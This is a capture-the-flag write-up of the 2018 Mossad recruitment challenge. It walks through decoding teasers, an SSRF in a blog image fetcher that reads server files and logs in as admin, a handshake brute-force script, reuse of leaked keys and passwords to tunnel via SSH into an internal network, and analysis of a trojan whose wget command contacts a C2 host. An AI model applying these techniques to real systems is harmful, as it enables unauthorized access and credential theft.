Mossad Challenge - 5778

Introduction:

About a week before Yom Ha'atzmaut [2018] a countdown appeared on the Mossad's web page:

Countdown

The countdown was an iframe that contained a seperate site: https://www.r-u-ready.xyz

Beneath the countdown there was a line of code +[--------->++<]>+.++[->+++<]>++.+[--->+<]>.+[->+++<]>.--[--->+<]>-.---[->++++<]>.------------.---.--[--->+<]>-.+[->+++<]>+.---.--[--->+<]>-.+++[->+++<]>.--[--->+<]>. in what appeared to be brainfuck. We ran the code and got:

Teaser

The countdown ends at 20:00 18/04/2018 which is Erev Yom Ha'atzmaut. We'll be looking out for the next challenge then.

On the morning of 18/04/2018 (Yom Hazikaron) an ad was posted in Israel HaYom newspaper:

newsclipping

There appear to be two blocks of highlighted code:

top bottom
>+-++<>-+--><[+-[]+-]<+--+>[+--+]<[+>+<-]><----[-->+++<]>--.---------.+++.[++>---<]>++.-[----->++<]>-.+[->+++<]>+.+++++++++++.------------.----[->+++<]>+.-[-->+++++<]>---.------.[--->+<]>++.[-]>+-++<>-+--><[+-[]+-]<+--+>[+--+]<[+>+<-]><>+-++<>-+--><[+-[]+-]<+--+>[+--+]<[] +++++++++++[>+++++++++++<-]>+[<+>-]-[>+<-------]>---[<+>-][<+>-]>++>+[>++[-<++++++>]<<]>[<+>-]>+>++[++>++[-<+++++>]<<]>[<+>-]>+>+[>++++[-<++++>]<<]>[<+>-]++++++++[>+++++++++++<-]>+[<+>-]+++>>+>+[->+++[-<+++++>]<<]>[<+>-]++++++++[>++++++++<-]>+[<+>-]+++>++++++>+>+-++<>-+--
If we run this we get xor-with-key If we run this we get 12 bytes left in memory: 7A 46 5C 53 55 59 03 5A 41 03 06 01

Around the Mossad's logo we see the text Israel-is-70 again and again, maybe the key?

We take the leftover bytes from the bottom picture (7A 46 5C 53 55 59 03 5A 41 03 06 01) and XOR them with Israel-is-70. The result is 35.205.32.11 which is an ip address that leads to https://www.r-u-ready.xyz. Guess we still have to wait.

Challenge 1

Ok so the timer ran out, time to boogie.

First Challenge

A link! Click click click!

Ok so we get to this lovely blog:

Blog - main

Now what?

It seems like there's not much to do on the site while logged off, let's try to log in:

Blog - login

Welp!

Ok let's register:

Blog - register

I wonder what that TRY... button does, let's check... It calls the following code:

function getProfilePic()
{
    var url_regex = /^(https?:\/\/(www\.)?)?[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/[^\/]+)*([^\/]+\.png)(\?((\.+)\=(.+))*)?$/gm

    url = $("#profile_url")[0].value;
    if (url != "")
    {
        if (!url_regex.test (url))
        {
            alert ("Not a valid PNG url! " + url);
            return;
            
        }
        
        $.getJSON ('testProfilePng', { u: btoa(url) }, showProfilePng)        
    }
}

function showProfilePng (json)
{
    if (json && 'png' in json)
    {
        $("#usr_img")[0].src = '/profilePics/' + json.png;
    }
    
    if (json && 'err' in json && json.err != "" && json.err != "200" && json.err != "OK")
    {
        alert (json.err);
    }
}

Ok so it looks like it verifies the urls we enter. If the url is "fine" it will then proceed to show us the picture in '/profilePics/' + json.png.

But maybe it only checks on the client side? What would happen if we were to cheat and send a link to a local file, would it pass it to us?

What if we tried to get the server version of login.php?

$.getJSON ('testProfilePng', { u: btoa("file:///var/WWW/login.php#.png") }, showProfilePng)

After a lot of fighting we managed to locate the file, also it turns out the .png ending was required on the server's side as well ����‍♂️.

So now we know how the login system works, let's look at the useful parts for this challenge:

define("ADMIN_USER_NAME", "admin");
    
    ...

function do_login(){
    $remote_ip = $_SERVER['REMOTE_ADDR'];
    $user = $_REQUEST['user_name'];
   
    if ($remote_ip == "127.0.0.1" && $user == ADMIN_USER_NAME)
    {
        ...

Hmm, so if the user_name is admin, and he is logging on from the server itself, a password is not needed. Genius!

We already know we can run stuff off the server, so let's pretend to login as admin from there.

$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/login.php?user_name=admin#.png") }, showProfilePng)

Great we got a response saying that the cookie is saved.

$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/administration#.png") }, showProfilePng)

And now we have a dump of the administration page. A quick look through that showed us that the previous hacker on the site left a link /ch1_success, let's try it:

First token

Yes!

Challenge 2

Onwards!

Second Challenge

This time the link is for a pcap file. Opening it in wireshark shows us 5 tcp streams. The first and last two consist of a short little handshake; the server sends the md5 hash of a number and the client returns the sha512 hash of the next number up. The middle stream shows a user connecting to an ftp server with username=user and password=12345.

I suppose we're supposed to try to do the same...

A friend wrote a nice script that automates the handshake very nicely:

from pwn import *
import hashlib

def md5rev(expected):
    for i in range(10000,100000):
        if hashlib.md5(str(i)).hexdigest() == expected:
            return i

def sha512num(number):
    return hashlib.sha512(str(number)).hexdigest()

conn = remote('35.204.90.89',5555)
md5  = conn.recvline().replace('\r','').replace('\n','')
num  = md5rev(md5)
sha  = sha512num(num+1)
print("md5: %s" % md5)
print("num: %s" % num)
print("sha: %s" % sha)
conn.sendline(sha)
print(conn.recvall())

Sample run:

$ python solve.py
[+] Opening connection to 35.204.90.89 on port 5555: Done
md5: ce5f87af88939d59cf73ca61cba8c260
num: 62578
sha: 7bdfd3a07b8c8f02df1dc97e8647f04af257a0db76e9f7825668e31b3f8d0f8dd571d5ef1f33d007ab25dde4d362eccfbbeddeb0eeedd672b53a850d666002f2
[+] Receiving all data: Done (35B)
[*] Closed connection to 35.204.90.89 port 5555
MY_IP Temporarily Authorized.

Ok now that we are temporarily authorized we can connect to the ftp server: ftp 35.204.90.89 2121 and download all the files.

Amongst tons of backups the most interesting folder we found was \users\backup. In it we found a private key. Does that mean we can connect to that user's ftp account? sftp -i id_rsa [email protected] Oh no! it wants a passphrase! Lucky for us the text s3cr3t that was in a file names hint worked.

$ sftp -i id_rsa backup@35.204.90.89
 Welcome to Backup Server!
   All your actions are
      being recorded!
        Hahahah!!

                 ,-.
               ,'  |
              /.__,|
             /((_)):
            /  `-'  \
          ,'  ,--.   \
        .' , ((__))   `.
        '.':  `--'   \._)
           |  ,--.   :
           | ((__))  |
           |  `--'   |
          ,'..____..-`.
         `--..____...--' SSt

Enter passphrase for key 'id_rsa':
Connected to 35.204.90.89.
sftp> ls
conf_enc.pyc
sftp>

Maybe this file has something to do with all the encrypted backups we previously found. Using uncompyle2 we got the source code:

import base64
from Crypto.Cipher import AES
from Crypto import Random
import sys, os
key = 'd3adb33f13371337'
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

class AESCipher:

    def __init__(self, key):
        self.key = key

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw))


def main():
    if len(sys.argv) != 2:
        exit(1)
    in_file = sys.argv[1]
    if os.path.isfile(in_file):
        out_file = in_file + '.enc'
        fin = file(in_file, 'rb').read()
        fout = file(out_file, 'wb')
        cypher = AESCipher(key)
        enc_data = cypher.encrypt(fin)
        fout.write(enc_data)
        fout.close()


if __name__ == '__main__':
    main()

Ok, so this is the encryption used on the backups. Time to write a decryption function...

def decrypt(self, raw):
    raw = base64.b64decode(raw)
    iv = raw[:AES.block_size]
    cipher = AES.new(self.key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(raw[AES.block_size:]))

Gold.

There were only two different backups, one for floppyfw and the other for cisco. In the cisco backup we found a username fwadmin and a password 107D1C09560521580F16693F14082026351C1512, in plain text Sup3rS3cr#tP@ssword, thanks to this site. We also figured out that to get into the server we need to go through the backup account on the ftp server to an external ip address and from there to an internal one. Using the user names and password/private keys we constructed our network route:

The first step was to tunnel with the ftp server through to the external address: ssh -N -L 9999:10.164.0.3:22 [email protected] -i id_rsa_decrypted, then all the way to the internal one: ssh -N -L 9000:10.128.0.3:8080 [email protected] -p 9999

So now that we had the connection set up we navigated to 127.0.0.1:9000 in our browser and were greeted with a file that rerouted us to:

Second token

Huzzah!

Challenge 3

Last one! (Probably)

Last challenge

This time we got a file called busybox. Running it showed us a greeting and some basic information:

$ ./busybox
BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
   or: busybox --list[-full]
   or: busybox --install [-s] [DIR]
   or: function [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use and BusyBox
        will act like whatever it was invoked as.

        **** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****

Currently defined functions:
        adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, false,
        hostname, ifconfig, ifdown, ifup, kill, killall, ls, lsof, md5sum, nc,
        netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty,
        uname, wget, whoami

There is an interesting message there:

**** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****.

Let's take a look:

$ ./busybox ls /tmp -la
ls: /uos: No such file or directory

Umm, but that's not what I typed. It looks like each letter was moved forwards in the alphabet in accordance with its index. Gotta take care of that:

from string import ascii_lowercase as lower_letters

def fixlower(words):
    res = ''
    for i, char in enumerate(words):
        if char in lower_letters:
            res = res + lower_letters[(lower_letters.index(char) - i)%len(lower_letters)]
        else:
            res += char
    return res

That should do the trick:

$ ./busybox ls /skm -la
total 0
drwxrwxrwt    0 root     root          4096 Apr 22 03:50 .
drwxr-xr-x    0 root     root          4096 Jan  1  1970 ..
-r--r--r--    0 root     root          1337 Jan  1  1970 .readme

Ok, a hidden file. Let's read it:

$ ./busybox cat /skm/.lxsuct

Suspicious network activity detected...

If you say so...

$ ./busybox netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0     64 0.0.0.0:31337           11.32.205.35.bc.googleusercontent.com:http ESTABLISHED
netstat: /proc/net/raw: No such file or directory
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node Path
netstat: /proc/net/unix: No such file or directory

There is actually some strange network activity. Let's see what processes are running:

$ ./busybox ps
PID   USER     TIME  COMMAND
 1337 root     13:37 /tmp/Tr0j (deleted) -u admin --default-pass
    1 root      0:00 /init
  271 me        0:00 -bash
  297 me        0:00 python
  314 me        0:00 -bash
  328 me        0:00 ./busybox ps

The first one looks strange. Let's check it out:

$ ./busybox ls /oply/1337 -la
dr--r--r--    0 root     root             0 Jan  1  1970 .
dr--r--r--    0 root     root             0 Jan  1  1970 ..
-r--r--r--    0 root     root          1337 Jan  1  1970 cmdline
-r--r--r--    0 root     root          1337 Jan  1  1970 environ
-r--r--r--    0 root     root          1337 Jan  1  1970 exe

We already know what the cmdline holds. So let's get the actual program: ./busybox cat /oply/1337/tlr > exe. Running strings on this gave us tons of possibly useful information:

Uw1lLN3v3rG3tM3
35.205.32.11
wget -O /tmp/.store 'http://%s/iso?user=%s&pass=%s'
user
pass
default-pass

It looks like we need to construct a url. Most of it is straightforward: http://35.205.32.11/iso?user=admin&pass=. But what is the pass? We know the program was invoked using --default-pass, but what is that? Maybe it's the strange looking string right over the ip address Uw1lLN3v3rG3tM3 ("u will never get me", in 1337)? Yep. Now we got an iso. Extracting it reveals 6 pictures (1.JPG, 2.JPG, 4.PNG, 5.JPG, 6.JPG, 7.JPG) a file called THUMBS.DB and a file called VAULT. I wonder why there is no picture number 3.

The images:

1.JPG 2.JPG 4.PNG 5.JPG 6.JPG 7.JPG

Running binwalk on THUMBS.DB shows that it contains 7 JPEGS. Let's extract them: binwalk —dd='.*' THUMBS.DB. Now we have 5 of the same old pictures and 2 new ones. One of the new pictures has *israel70* printed on it. Important? Maybe.

The new images:

9418.jpeg C818.jpeg

Moving on to VAULT. Using this lovely site we extracted 4 files (index.html, key.js, script.js, aes.js). All the javascript files were encrypted with something called blow fish. Using this site we tried to decrypt the files. Turns out *israel70* was the key and indeed useful. We were now left with 4 decrypted files that made up a site; let's try to run it.

Running the site

It looks like the site is trying to load key.js from 127.0.0.1:1337/key.js instead of just from the local file. The problem is that the javascript we have is all muddled. Guess that'll have to be fixed. With the help of a site like this we got the code to a readable state and changed it to use the key we have:

function loadScript(src, callback) {
 var xhttp = new XMLHttpRequest();
 xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
   eval(this.responseText);
   if (typeof(callback) != 'undefined') {
    callback()
   }
  }
 };
 xhttp.open("GET", src, true);
 xhttp.send()
}
key = "sg342C_fqg3453gqh"
loadScript("http://35.205.32.11/ch3/sid");
loadScript("http://35.205.32.11/ch3/payload", run);

function run() {
 if (typeof(key) != 'undefined') {
  if (typeof(payload) != 'undefined') {
   var decrypted = CryptoJS.AES.decrypt(payload, key);
   console.log((decrypted.toString(CryptoJS.enc.Utf8)))
  }
 }
}

Time to try the site again. This time we got a very long bit of jsfuck. With the help of this guide we managed to debug the code, find the password H4pPyB1r7hd4y70I5ra3l! and get redirected:

Last token

All done!!

Update [29.04.2018]

The challenge is now officially closed

challenge over

Special Thanks

Thanks to MeitarR, naweiss, and yoavst without whom I probably would have quit the challenges.

Other Write-ups

Both MeitarR and yoavst wrote write-ups that can be found here: